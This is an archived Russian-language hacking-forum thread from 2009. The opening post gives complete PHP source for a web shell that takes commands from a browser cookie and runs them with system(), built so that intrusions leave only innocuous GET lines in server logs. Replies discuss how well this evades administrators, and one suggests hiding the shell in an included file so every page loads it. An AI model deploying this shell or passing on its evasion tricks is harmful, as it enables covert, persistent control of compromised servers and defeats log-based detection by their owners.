PDA

Просмотр полной версии : веб-шелл, работающий через $_COOKIE


Goudini
24.06.2009, 23:28
В один момент я задумался о том что во время использования какого-либо веб-шелла в логах сохраняються последовательные POST запросы к одному и тому же файлу, что может кидатся в глаза при анализе логов администраторами.

Я подумал почему бы не заменить передачу через POST на COOKIES. Реализацию подобного мне не приходилось наблюдать.

Вот и набросал небольшой веб-шелл, который в логах оставляет GET записи. Для работы должно быть разрешено использование cookies и Javascript.

cookie-shell.php
<?php
@set_time_limit(0);
$cmd = $_COOKIE['cmd'] ? $_COOKIE['cmd']: 'ls -la';
?>
<html>
<head><title>Cookies web-shell PoC</title></head>
<body>
<script type="text/javascript">
function send(val)
{
document.cookie = "cmd="+val;
location.reload();
}
</script>
<form>
<input type="text" id="cmd" value="<?=$cmd?>"/>
<input type="submit" onclick="send(document.getElementById('cmd').value)" value="execute"/>
</form>
<pre>
<?php
ob_start();
system($cmd);
$res = ob_get_contents();
ob_end_clean();
echo htmlspecialchars($res);
?>
</pre>
</body>
</html>

http://h3ck.rv.ua/upload/cookie-shell.png

После использования скрипта в логах останется примерно такое:
127.0.0.1 - - [24/Jun/2009:22:17:56 +0300] "GET /cookie-shell.php HTTP/1.1" 200 455 "http://localhost/cookie-shell.php" "Mozilla/5.0 (X11; U; Linux i686; uk; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11"
127.0.0.1 - - [24/Jun/2009:22:17:56 +0300] "GET /cookie-shell.php HTTP/1.1" 200 455 "-" "Mozilla/5.0 (X11; U; Linux i686; uk; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11"
127.0.0.1 - - [24/Jun/2009:22:17:58 +0300] "GET /cookie-shell.php HTTP/1.1" 200 289 "http://localhost/cookie-shell.php" "Mozilla/5.0 (X11; U; Linux i686; uk; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11"
127.0.0.1 - - [24/Jun/2009:22:17:58 +0300] "GET /cookie-shell.php HTTP/1.1" 200 289 "http://localhost/cookie-shell.php" "Mozilla/5.0 (X11; U; Linux i686; uk; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11"

Интересует Ваше мнение по практическому использованию даного метода.

Sharky
25.06.2009, 00:38
а последовательные гет записи к неизвестному файлу подозрения не вызовут?

Zitt
25.06.2009, 00:53
Sharky +1
тоже подумал

en4cer
25.06.2009, 01:17
АррЪ! Забивать шелл в файл c functions или т.е =) и потом подгружать шелл уже с любой страницы которая инклудит этот файл :) вЭлосипед ё-маё =)

Zitt
25.06.2009, 02:33
Расскажите в чем прикол

m0Hze
25.06.2009, 03:54
команды явой пишуться в кукисы,и к файлу никаких запросов с команлами не идет.выполнение команд из кукмсов

попугай
25.06.2009, 04:08
Даа, чо-то ты не туда завернул) Запросы то все равно идут...

m0Hze
25.06.2009, 04:21
Да,запросы идут,но никаких параметров через ГЕТ или ПОСт не передаеться,смотрите код.

попугай
25.06.2009, 04:52
ну дык Тот же Madshell какбе POSTами шлет(никаких параметров), да и другие тоже.

Топикстартер сам себе противоречит.

В один момент я задумался о том что во время использования какого-либо веб-шелла в логах сохраняються последовательные POST запросы к одному и тому же файлу, что может кидатся в глаза при анализе логов администраторами.

Его шелл точно также оставляет последовательные GET запросы к одному и тому же файлу.

Это просто попытка перепрыгнуть свою голову, имхо.

m0Hze
25.06.2009, 05:02
Оствляет,только вот там не видно никаких: cmd=ls -la , согласись?
А кагбудто просто делали запросы к файлегу,может это был гугль?)

Zitt
25.06.2009, 05:26
вот там не видно никаких: cmd=ls -la
А при POST видно?

Goudini
25.06.2009, 18:20
m0Hze понял тему. Ведь например при обычном использовании форума или CMS намного больше остаётся GET запросов чем POST...

FireFenix
27.06.2009, 01:12
Тогда уж лучше на сокетах минитроянчег или бекдор =)

cr0w
27.06.2009, 02:24
Интересует Ваше мнение по практическому использованию даного метода.
Идея хорошая и правильная. Кстати, года 4-5 назад подобный веб-шелл (передающий команды через кукисы) уже релизил кто-то (никак не могу вспомнить кто это был), но тогда как-то никто не оценил этой идеи, а затем уже пошла мода переделывать все шеллы, чтоб юзали POST вместо GET'a, чтоб было "меньше палева" в логах. (: